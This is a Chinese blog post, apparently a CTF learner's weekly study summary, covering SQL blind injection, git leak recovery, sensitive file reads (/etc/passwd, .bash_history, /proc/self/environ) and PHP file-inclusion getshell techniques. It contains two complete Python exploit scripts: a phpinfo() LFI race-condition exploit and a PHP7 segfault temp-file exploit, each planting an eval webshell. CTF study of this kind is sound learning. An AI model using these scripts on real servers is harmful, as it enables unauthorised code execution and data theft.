当前位置: 首页 > news >正文

2023 10月8日 至 10 月16日学习总结

1.做的题目

[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客

[NCTF2019]SQLi regexp 盲注-CSDN博客

[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客

Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客

2.知识点

参数爆破

首先就是对网站进行基本的信息收集 但是备份,扫描,抓包

都没有效果的时候可以进行参数爆破

通过工具 arjun可以爆破

arjun -u url  -m GET  -c 100 -d 5这里是通过慢速 来实现爆破 100个一组 延迟时间为 5 

SQL正则盲注  regexp

sql题一般我先进行fuzz 然后进行测试注入

这里给出一个知识点

转义符 \ 构造闭合

select * from username = '\' and password = '';这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'select * from username = '\' and password = '#'这个时候 字符串 ' and password  就被外面两个 ' 闭合了所以我们构造 ||1 就可以变为'\' and password = '||1#'这里大家直接去phpmyadmin尝试即可

绕过空格

/**/ 或者 %09

都可以

正则盲注

这里放出了正则和 ^

原理是

假设我的表名为adminselect * from username = '\' and password = ' || password regexp "^a"后面的 "^a"  是开头为 a 的就返回 true 所以我们可以进行盲注

这里还需要00截断后面的引号

但是我们盲注需要通过python 所以这里也介绍一下python的库

python库

首先是 string这里我们就不需要指定 37-128直接通过这个库就可以将可打印的字符输出

然后就是-00截断的库

from urllib import parse这个库是url编码a = parse.unquote('%00')这里就是post的url编码后的00截断

GIT泄露

首先通过扫描可以发现存在git泄露

然后通过工具实现

https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator

然后发现存在的代码是出错的

这里就可以通过 .git文件来恢复数据

GIT数据恢复

首先查看日志git log -all然后通过指定就可以恢复成以前的代码git reset --hard 字符

二次注入的危险函数

addslashes 将输入转变为字符串 原封不动存入数据库

这里的注入闭合 文章里面写的比较详细了 大家去看就可以了

任意文件读取

做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好

/proc/self/environ
/proc/self/cmdline/etc/passwd 查看存在的用户/home/用户/.bash_history 查看该用户的历史命令

 .DS_Store泄露

获取内容了 因为 .DS_Store 存在很多不可见字符

所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出

然后通过工具Python-dsstore-master

来解密获取

PHP LFI getshell

这里确实学到了很多东西

这里的前提都是存在文件包含

存在phpinfo()

如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马

这个时候我们上传的临时文件就会保存在 临时文件目录下

并且通过linux和win的命名规则存储

我们只需要去包含 就会生成木马

这里只需要通过条件竞争即可

#!/usr/bin/python3
import sys
import threading
import socketdef setup(host, port):TAG = "安全测试"PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAGREQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)# modify this to suit the LFI scriptLFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq.encode())d = b""while len(d) < offset:d += s.recv(offset)try:i = d.index(b"[tmp_name] =&gt; ")fn = d[i + 17:i + 31]except ValueError:return Nones2.send((lfireq % (fn.decode(), host)).encode())d = s2.recv(4096)s.close()s2.close()if d.find(tag.encode()) != -1:return fn.decode()counter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print("\n成功!Shell已创建在 /tmp/shell")self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""获取php输出中tmp_name的偏移量"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq.encode())d = b""while True:i = s.recv(4096)d += iif i == b"":break# detect the final chunkif i.endswith(b"0\r\n\r\n"):breaks.close()i = d.find(b"[tmp_name] =&gt; ")if i == -1:raise ValueError("在phpinfo输出中未找到php tmp_name")print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))# 加一些填充return i + 256def main():print("LFI With PHPInfo()")print("-=" * 30)if len(sys.argv) < 2:print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error as e:print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])host = socket.gethostbyname(sys.argv[1])except socket.error as e:print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])sys.exit(1)port = int(sys.argv[2]) if len(sys.argv) > 2 else 80numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10phpinforeq, tag, lfireq = setup(host, port)offset = getOffset(host, port, phpinforeq)print("\n[*] 开始进行LFI攻击...")threads = []e = threading.Event()l = threading.Lock()try:for i in range(numthreads):t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)threads.append(t)t.start()while not e.is_set():try:e.wait(1)except KeyboardInterrupt:print("\n[*] 收到中断信号,正在停止攻击...")e.set()except socket.error as e:print("连接错误:%s" % str(e))for t in threads:t.join()print("\n[*] 攻击结束。")if __name__ == "__main__":main()

大家还是读读上面代码 也能学到内容

PHP7 Segment Falut

首先是 php7 的一个漏洞

通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除php://filter/sring.strip_tags
存在dir类型的页面

我们只需要去包含里面的漏洞文件即可

不存在dir类型页面

通过爆破实现即可

下面是存在dir页面的时候的脚本

# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)# 构建命令
data = {1: "system('dir');"
}# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)# 输出结果
print u"目录列表:\n{}".format(req3.text)

SESSION LIF getshell

HAVE SESSION

一样 需要存在文件包含漏洞

这里是通过session 用户会话getshell

首先我们发送存在session的包的时候 会在session存储位置保存着session文件

取名是为 sess_输入

Cookie: PHPSESSID=输入

一般处理会话 要么是通过 原始输入 要么就是通过序列化输入

如果不对用户会话文件进行处理 那么我们只需要写入一句话即可

如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可

记住要过滤掉特殊字符

NO SESSION

当session没有开启的时候

我们可以通过php的特性 文件上传的时候

传递

session.upload_progress.name:<?php phpinfo();?>这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件

 这里的流程图为

文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容

这里去看原本的文章更加详细

SQL过滤许多的盲注

这道题确实过滤了巨多东西

这里的知识点

方法一

select substr('flag',1)---->flagselect substr('flag',2)---->lag然后我们只需要两次substr 并且倒装输出即可select reverse(substr('flag',1)) ---->galfselect substr(reverse(substr('flag',1)),4)----->fselect substr(reverse(substr('flag',1)),3)----->fl

然后盲注过滤了 = 号  我们可以通过 <> 不等号实现

1 <> 1 返回false1 <> 2 返回 true

因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可

方法二

通过 减去 来实现

a'or((ascii(substr((select(password))from(1)))-48))--

这里也是因为 过滤了 = 号

这里也推荐大家去看上面文章 写的详细 这里只是简单的记录

3.不足

这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到

4.下一周计划

专心准备比赛

相关文章:

2023 10月8日 至 10 月16日学习总结

1.做的题目 [RootersCTF2019]I_&#xff1c;3_Flask_双层小牛堡的博客-CSDN博客 [NCTF2019]SQLi regexp 盲注-CSDN博客 [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客 PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客 …...

【Java 进阶篇】深入了解 Bootstrap 表格和菜单

表格和菜单是网页设计中的重要组成部分&#xff0c;它们用于展示数据、导航和用户交互。Bootstrap 是一个强大的前端框架&#xff0c;提供了丰富的表格样式和菜单组件&#xff0c;使开发者能够轻松创建功能丰富的网页。在本文中&#xff0c;我们将深入探讨 Bootstrap 中表格和菜…...

java的for循环中遇到异常抛出后继续循环执行

java的for循环中遇到异常抛出后继续循环执行 Test public void loopTryCatchTest() throws Exception {Map<String, Object> a new HashMap();a.put("a", "1");a.put("b", null);a.put("c", "3");for (Map.Entry<…...

【Javascript】构造函数之new的作用

目录 new的作用 把对象返回了回来 无new 有new 把构造函数的this指向了要返回的对象 无new​编辑 有new new的执行流程 new的作用 创建了新空对象将构造函数的作用域赋值给新对象(this指向新对象)执行构造函数代码 &#xff08;为这个新对象添加属性&#xff09;返回新对…...

粘包和半包问题及解决办法

粘包问题是指数据在传输时&#xff0c;在一条消息中读取到了另一条消息的部分数据&#xff0c;这种现象就叫做粘包。 半包问题是指数据在传输时&#xff0c;接收端只收到了部分数据&#xff0c;而非完整的数据&#xff0c;就叫做半包。 产生粘包和半包问题原因&#xff1a; …...

MySQL数据库查询实战操作

前置条件: 创建库:MySQL基本操作之创建数据库-CSDN博客 创建表:MySQL基本操作之创建数据表-CSDN博客 目录 常规查询常用函数union查询一、常规查询 1、查询所有姓名以 "张" 开头的学生: SELECT * FROM student WHERE name LIKE 张%; 这条语句使用 LIKE 运算…...

Elasticsearch 8.9 Master节点处理请求源码

大家看可以看ElasticSearch源码&#xff1a;Rest请求与Master节点处理流程&#xff08;1&#xff09; 这个图非常好&#xff0c;下午的讲解代码在各个类和方法之间流转&#xff0c;都体现这个图上 一、Master节点处理请求的逻辑1、节点(数据节点)要和主节点进行通讯&#xff0…...

Python---练习:while循环案例:猜数字

需求&#xff1a; 计算机从1 ~ 10之间随机生成一个数字&#xff0c;然后提示输入数字&#xff0c;如果我们输入的数字与随机数相等&#xff0c;则提示恭喜你&#xff0c;答对了。如果输入的数字比随机数大&#xff0c;则提示&#xff0c;猜大了。反之&#xff0c;则提示猜小了…...

CRM自动化意味着什么?企业如何从中受益?

客户关系管理&#xff08;CRM&#xff09;软件不再仅仅适用于大公司或销售周期长的行业&#xff0c;它越来越成为各种规模企业的重要工具。 在日常工作中&#xff0c;当你陷入流程的所有细节时&#xff0c;可能会产生不必要的工作。因此&#xff0c;如果你想要CRM提供的组织和…...

Python大数据之PySpark

PySpark入门 1、 Spark与PySpark 1、 Spark与PySpark...

网工记背命令(7)----静态路由(负载分担,主备备份)

1.静态路由负载分担 如图所示&#xff0c;属于不同网段的主机通过几台 Switch 相连&#xff0c;要求不配置动态路由协议&#xff0c;使不同网 段的任意两台主机之间能够互通&#xff0c;从拓扑图中可以看出&#xff0c;从 PCA 到 PCC 有两条路径可以过去&#xff0c;分别是 PC…...

error: unable to read askpass response from

报错信息 解决方法&#xff1a; 中文&#xff1a;文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文&#xff1a;File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的&#…...

运行stable-diffusion-xl-refiner-1.0遇到version `GLIBCXX_3.4.29‘ not found的问题

一、问题背景 https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0 在运行示例程序时候遇到GLIBCXX_3.4.29‘ not found diffusers to > 0.18.0 import torch from diffusers import StableDiffusionXLImg2ImgPipeline from diffusers.utils import loa…...

Ubuntu - 安装 Elasticsearch(ES)

注意&#xff1a;以下步骤基于 Elasticsearch 7.x 版本。版本可能会随时间而变化&#xff0c;请查看 Elasticsearch 官方网站以获取最新的版本信息。 添加 Elasticsearch APT 仓库&#xff1a; 打开终端&#xff0c;并使用以下命令添加 Elasticsearch APT 仓库到系统&#xf…...

字节码进阶之java Instrumentation原理详解

文章目录 0. 前言1. 基础2. Java Instrumentation API使用示例 3. Java Agent4. 字节码操作库5. 实际应用6. 注意事项和最佳实践 0. 前言 Java Instrumentation是Java API的一部分&#xff0c;它允许开发人员在运行时修改类的字节码。使用此功能&#xff0c;可以实现许多高级操…...

Android 13.0 锁屏页面禁止下拉状态栏

1.概述 在13.0的系统产品定制化中,在默认的锁屏界面的时候原生系统是可以下拉状态栏的,但是定制的产品是需要禁用下拉状态栏的,所以需要在锁屏页面的时候禁用下拉状态栏,需要从两部分查看下拉状态栏流程然后禁用状态栏 接下来就来分析下看这个功能怎么实现 2.锁屏页面禁止…...

Windows10 Docker 安装教程

Docker Desktop是什么&#xff1f; Docker Desktop是适用于Windows的Docker桌面&#xff0c;是Docker设计用于在Windows 10上运行。它是一个本地 Windows 应用程序&#xff0c;为构建、交付和运行dockerized应用程序提供易于使用的开发环境。Docker Desktop for Windows 使用 …...

JWT认证

目录 前言 JWT组成部分 JWT工作原理 在Express中使用JWT 安装JWT相关的包 导入JWT相关的包 定义密钥 登录成功后调用jwt.sign()生成JWT字符串 将JWT字符串还原为JSON对象 捕获解析JWT失败后产生的错误 结尾 前言 Session 认证机制需要配合 Cookie 才能实现。由于 Co…...

【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

靶场安装&#xff1a; 靶场安装请参考以下博客&#xff0c;既详细有提供工具&#xff1a; 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程&#xff0c;让你巩固对xss漏洞的理解及绕过技巧和方法&#xff08;提供资源&#xff09;-CSDN博客【网络安全 --- xss-labs通…...

Mathematics-Vocabulary·数学专业英语词汇

点击查看: Mathematics-Vocabulary数学专业英语词汇点击查看: Mathematics-Vocabulary-Offline数学专业英语词汇离线版本 Chinese-English translation英译汉The study of mathematics in English requires understanding the subject-specific vocabulary and terminology. Ma…...

mongodb源码分析session执行handleRequest命令find过程

mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程&#xff0c;并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令&#xff0c;把数据流转换成Message&#xff0c;状态转变流程是&#xff1a;State::Created 》 St…...

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包&#xff08;Closure&#xff09;&#xff1f;闭包有什么应用场景和潜在问题&#xff1f;2.解释 JavaScript 的作用域链&#xff08;Scope Chain&#xff09; 二、原型与继承3.原型链是什么&#xff1f;如何实现继承&a…...

select、poll、epoll 与 Reactor 模式

在高并发网络编程领域&#xff0c;高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表&#xff0c;以及基于它们实现的 Reactor 模式&#xff0c;为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。​ 一、I…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!

简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求&#xff0c;并检查收到的响应。它以以下模式之一…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

站群服务器的应用场景都有哪些?

站群服务器主要是为了多个网站的托管和管理所设计的&#xff0c;可以通过集中管理和高效资源的分配&#xff0c;来支持多个独立的网站同时运行&#xff0c;让每一个网站都可以分配到独立的IP地址&#xff0c;避免出现IP关联的风险&#xff0c;用户还可以通过控制面板进行管理功…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

BLEU评分:机器翻译质量评估的黄金标准

BLEU评分&#xff1a;机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域&#xff0c;衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标&#xff0c;自2002年由IBM的Kishore Papineni等人提出以来&#xff0c;…...

PHP 8.5 即将发布:管道操作符、强力调试

前不久&#xff0c;PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5&#xff01;作为 PHP 语言的又一次重要迭代&#xff0c;PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是&#xff0c;借助强大的本地开发环境 ServBay&am…...

WEB3全栈开发——面试专业技能点P7前端与链上集成

一、Next.js技术栈 ✅ 概念介绍 Next.js 是一个基于 React 的 服务端渲染&#xff08;SSR&#xff09;与静态网站生成&#xff08;SSG&#xff09; 框架&#xff0c;由 Vercel 开发。它简化了构建生产级 React 应用的过程&#xff0c;并内置了很多特性&#xff1a; ✅ 文件系…...